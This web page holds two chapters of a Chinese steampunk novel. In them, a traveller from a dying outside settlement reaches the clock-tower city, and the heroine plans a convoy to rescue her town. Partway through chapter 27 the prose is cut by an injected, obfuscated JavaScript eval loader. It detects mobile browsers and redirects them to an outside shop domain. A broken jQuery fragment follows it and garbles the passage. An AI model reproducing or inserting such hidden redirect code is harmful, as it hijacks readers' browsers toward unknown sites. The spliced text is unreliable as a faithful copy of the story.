## 第二十六章：城外的人
供水系统完工后的第三天，齿轮区东边来了一个人。
那人是从钟塔城外围的"锈带"区域过来的——那是城市最外缘的一片废墟带，早在大静谧之前就荒废了，长年没有蒸汽和灵蕴供应，只有断壁残垣和风化的金属骨架。齿轮区的人很少往那边去，因为那边什么都没有，连垃圾都没有。
但那天傍晚，有一个穿着暗褐色斗篷的人从锈带方向走进了齿轮区的边界。那人走得很慢，一条腿明显受过伤，每一步都带着轻微的拖曳。斗篷的兜帽压得很低，遮住了大半张脸，但从露出的一小截下颌来看，年纪不大。
锈角边缘的守卫——现在已经有了几个主动轮班的恢复者——拦住了那个人。
"哪来的？"
那人掀开兜帽，露出了一张年轻女人的脸。大约二十五六岁，黑发齐肩，颧骨高，嘴唇干裂。她的眼睛很亮，但那亮光里有一种不太常见的东西——不是齿轮区人的疲惫，也不是恢复者的茫然，而是一种类似"找上门来"的、明确的目的性。
"我找艾琳·沃克。"她的声音沙哑，像是缺水很久了。
守卫犹豫了一下，去叫了人来。
艾琳得到消息的时候正蹲在渊底新的容器封装区——阿瑟拨出来的一个地面仓库——给最后一小批意识碎片做归位记录。她放下手里的工具赶到锈角边缘的时候，那个暗褐色斗篷的年轻女人正坐在一块废铁板上，手里捧着老妇人递的水碗，一口一口地喝得很慢，像在珍惜每一滴水。
老妇人站在旁边，朝艾琳抬了抬下巴。"她找你。从锈带过来的。走了三天。"
艾琳在那人面前蹲下来。她打量了一下对方——身上没有灵蕴设备的痕迹，没有武器，靴子磨得露出了内衬，整个人看起来很狼狈，但又不太像走投无路的逃难者。更像一个赶了很久路、终于找到地方的人。
"我是艾琳。你找我什么事？"
那人放下水碗，抬头看着艾琳。她嘴唇动了动，像是组织了几遍话才开口：
"我叫淮。我从钟塔城外面来的。走了……我也不知道走了多远，三个月？还是四个月？外面没有蒸汽钟，我算不准。"
艾琳的眉头动了一下。钟塔城外面。赫利俄斯大陆在"大静谧"之后还有别的聚居地吗？她在齿轮区活了二十二年，从没听人提过。所有人默认的生存范围就只是这座垂直的齿轮巨塔。
"外面有人？"她问。
淮点了点头。她伸出手——手指被风沙磨得粗糙——在面前的泥地上画了一个粗糙的圆圈，然后在圆圈外面又画了几个小圆。
"钟塔城不是唯一一座。外面还有。我来的地方叫'沉木镇'，在西南方向，大约……按我的脚程，走了一个半月。镇上大概有两百多人。靠地热和旧风车活着，没有灵蕴。没有蒸汽机。什么都没有。"
她抬起眼看着艾琳。
"但我们知道钟塔城。一直知道。老辈人传下来的话说，钟塔城上面住着神，住在塔顶的光里，能控制一切。我们不敢靠近。直到三个月前，有人看到塔顶的光——灭了。"
艾琳的手在膝盖上收紧了一下。塔顶的光。那应该就是"寂静之核"被格式化之后，顶层天文区那些灵蕴灯同时熄灭的一瞬间。
"灭光之后，有人从钟塔城方向往外走。"淮继续说，"浑身灰扑扑的，在废地上走，像刚从什么地方逃出来。我们抓了一个，问了。他说核心关了。塔顶没人了。里面发生了一些事。他提了一个名字——艾琳·沃克。"
"那人在哪？"
"死了。"淮的声音很平，"他走了太多天。到了镇上的时候只剩一口气。他把话说完就没再醒过来。"
艾琳沉默了几秒。那个人可能是从钟塔城顶层恢复意识之后跑出去的某个学者，也可能是某个曾经被控制的傀儡在清醒之后选择离开。不管是谁，他把信息传了出去。
"你走了那么远的路来钟塔城，"艾琳说，"就为了确认那个人说的是不是真的？"
淮的目光落在艾琳右腕那圈极淡的金色灵蕴丝上。她盯着它看了几秒，然后重新抬起头。
"确认是一部分。另一部分是——我想问问你。塔顶的光灭了之后，塔里面现在是什么情况？你们重新开始了吗？怎么活的？"
她问得很直接，没有客套，像一个饿久了的人直接问锅里有什么吃的。
艾琳在她对面坐下，盘着腿，把老伙计放在膝盖上。
"塔里面正在修。新供水系统刚通，旧的控制核心拆了换成新的，由一群睡了五百年的人接管调度。灵蕴还有，够用。齿轮还在转。大体上——不会倒了。"
她顿了顿，看着淮的眼睛。
"你想带消息回去给你镇上的人？让他们知道外面有一座可以过来的城？"
淮没有点头也没有摇头。她只是抿了抿嘴唇，然后用很轻但很清晰的声音说了一句话：
"我们不是因为好奇才来的。沉木镇的地热在枯。地热井的水温从去年冬天开始降，到上个月已经凉到种不熟东西了。镇上一百七十个人，剩下的三十多是老人和小孩。如果再没有新去处——他们撑不过明年冬天。"
风从锈带方向吹过来，裹着干燥的沙粒打在废铁皮上，发出细碎的"噼啪"声。
艾琳低头看着自己膝盖上的老伙计。铜质握柄在暮色中泛着温润的光。
"你歇一晚。"她说，"明天我带你看一圈。看完再决定怎么带消息回去。"
淮看着她，嘴唇动了动，然后她端起水碗把最后一口水喝干净，放下碗的时候说了两个字：
"谢谢。"
老妇人已经转身去棚子里收拾铺位了。锈角的暮色像往常一样在废铁堆之间流淌，管道中的蒸汽持续升腾，把上方的天空烫出一道道细长的白痕。
艾琳站起来，朝铁皮棚子走去。走了一步之后她回过头，对淮说了一句话：
"不用谢。你来了，我就会接。"
（第二十六章完）## 第二十七章：沉木镇的消息
第二天一早，艾琳带着淮在钟塔城转了一圈。
她先带淮去了锈角的供水点——新装的铜质龙头还带着锃亮的光泽，拧开之后清冽的水柱落在铁皮槽里溅起细小的水花。淮蹲在龙头前面看了好一会儿，伸手接了一捧水凑到鼻子前面闻了闻，然后喝了一口。
"甜的。"她说。
"以前是锈的。"艾琳在旁边靠着管道站着，"刚改完没几天。"
她们去了渊底矿区边缘，淮在矿道口站了片刻，看着那些停运后被清理出来的矿车和轨道，又去了中层的动力枢纽——那些嗡嗡运转的蒸汽泵和调节阀让淮屏住呼吸看了很久。最后艾琳带她去了顶层的边缘——天文区最外围一条已经废弃的观察廊道，透过蒙尘的玻璃窗可以看到钟塔城外围那片荒凉的锈带，以及更远处灰黄色的、起伏的地平线。
淮站在窗前，手按在蒙尘的玻璃上，看了很久。
她转回头对艾琳说："我们镇上的人会想来。但我不知道他们能不能走这么远。路不好走，从沉木镇到钟塔城外围，中间有一段盐碱地，白天晒得人脱水，晚上冷得结霜。老人和小孩扛不住。"
"我们可以派人去接。"艾琳说。
淮转过头来，眼睛在晨光中亮了一下。
艾琳走回棚子之后找来了阿瑟、沈思和几个工程师，把淮的情况说了。阿瑟靠在桌边听完之后沉默了一小会儿，用手指在桌上画了条线，推算距离和地形。
"从钟塔城到沉木镇，按淮说的路线，单程大约四十到四十五天。如果用灵蕴驱动的运输车走地面，速度可以缩短到二十天左右——但需要提前修一条路基，盐碱地的轮式车辆容易陷。"
"灵蕴运输车我们有吗？"艾琳问。
"渊底矿区以前有三辆旧款的物资运输车，停用了大概十年。车身外壳还能用，底盘要重做，灵蕴引擎得翻新。"阿瑟在纸上列着需要的材料，"如果让维修组集中干的话，翻新一辆大概需要七天。路基的工期可能长一点，盐碱地段要先铺一层碎石再压实。"
"那就做。"艾琳说。
淮站在棚子门口，听着里面的对话没插嘴。直到艾琳把事情大致安排完了，她才开口说了一句话，声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745631|208444||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不大但很清楚：
"我跟你一起干。修车也好，铺路也好。我认识那段路的地形，有些地方能绕开盐碱层走。"
阿瑟看了她一眼，把手里列的清单递过去。"那正好。运输车底盘的重做方案需要对路面情况有了解，你来跟我对接。"
淮接过清单，手指在纸页上蹭了一下，上面沾了点油墨。她把它小心地折好，揣进自己暗褐色斗篷的内袋里。
下午艾琳去找了壮年矿工和几个恢复者，问他们愿不愿意组一支地面运输队。应的人比预想中多。有些恢复者之前在矿区干了几十年的搬运，身体虽然带了机械部件，但力气和耐力反而比常人更强。他们听说钟塔城外面还有活人，沉默地点头，有人回去就收拾了工具。
老妇人站铁皮棚子门口看了一阵，转头对艾琳说："你又要出门了。"
"不一定。"艾琳正蹲在地上给旧运输车的零件除锈，抬头看了老妇人一眼，"翻新车和修路都要时间，淮说沉木镇还有半年左右的余裕。这半年里我把这边的事理顺了，到时候有需要再走。"
老妇人没再接话，只是默默往锅里多添了一勺米。
随后的半个月，齿轮区的维修组和工程师团队启动了两条线：一条是翻新渊底那三辆旧运输车，另一条是由淮带队勘探通向沉木镇的可行路线，沿途标记适合修路的地段和需绕行的危险区。淮每天早出晚归，带着一支小队在锈带外围的废土上测距、画图、记录土壤硬度，天黑之后才回锈角，蹲在铁皮棚子下面借着蒸汽灯整理笔记。
那天晚上艾琳从渊底封装区回来，经过棚子外面的时候，看到淮正趴在一块石板上画路线图，旁边摆了一碗凉了的粥没动。她蹲过去看了看那条蜿蜒穿过盐碱地和碎石坡的线路，沿途用细小的符号标注了水源点和遮挡处。
"这段路能修通？"艾琳指了指地图上一段标着"沙层厚、易陷"的区域。
淮的笔尖点了点那片区域旁边的一条细线，说："绕。这里有一条旧河床，干了几百年了，但底下是硬基岩，踩实了能走。运输车只要别太重就能过。"
"车不会太重。我们运的灵蕴储箱和人，满打满算也不到半吨。"
淮"嗯"了一声，继续低头画。艾琳没有再多问，起身去灶边给她盛了一碗热粥放在石板旁边。淮过了一会儿才注意到那碗粥，端起来喝的时候已经半温了，但她喝得很快，像完成一项任务。
一天傍晚，艾琳站在棚子外面的暮色里看阿瑟带着几个工程师调试维修组的运输车底盘。那三辆旧车被拆开了又重新组装，车架漆了新防锈层，灵蕴引擎的管路换了一圈，车身漆成了灰绿色——阿瑟挑的颜色，说在盐碱地里显眼，不容易丢。
淮站在旁边，手里攥着一卷新画好的路线图。她的暗褐色斗篷已经洗干净了，今天难得没穿，换了件从老妇人那里借的旧布衫，袖子挽到小臂中段，露出了风沙磨得发红的皮肤。
阿瑟从车底钻出来，拍了拍手上的油泥，对艾琳说了一句："第一辆明天下线试跑。"
艾琳点了点头，然后转向淮。她看着淮手里那卷图，又看了看淮脸上被晒出新一层红印的颧骨，开口说：
"你来了快半个月了。要不要先写封信让勘探队的人带回去？让镇上的人知道这边真的有车来接了。"
淮低下头看着自己手里的地图。半晌之后她轻声说了一句，声音比平时软了一点，像那层赶路磨出来的硬壳裂了一道缝：
"我怕他们以为我回不去了。我走的时候只跟镇长老头留了句话，说出去看看。那老头……可能以为我死在路上了。"
"那你写个信。我让人用最快的速度送到沉木镇外围，至少让他们知道你活着，还找到地方了。"
淮沉默了一会儿，然后转身走回棚子里。过了一会儿，她拿着一张折好的纸出来递给了艾琳。纸面上只有一行字，字迹歪歪扭扭的，像不怎么写字的人，用力在练习本上描出来的笔画：
"镇长老头：我找到水了。等我带车来接。淮。"
艾琳把那张纸收好，当天晚上就交给了返回勘探点的队伍。
（第二十七章完）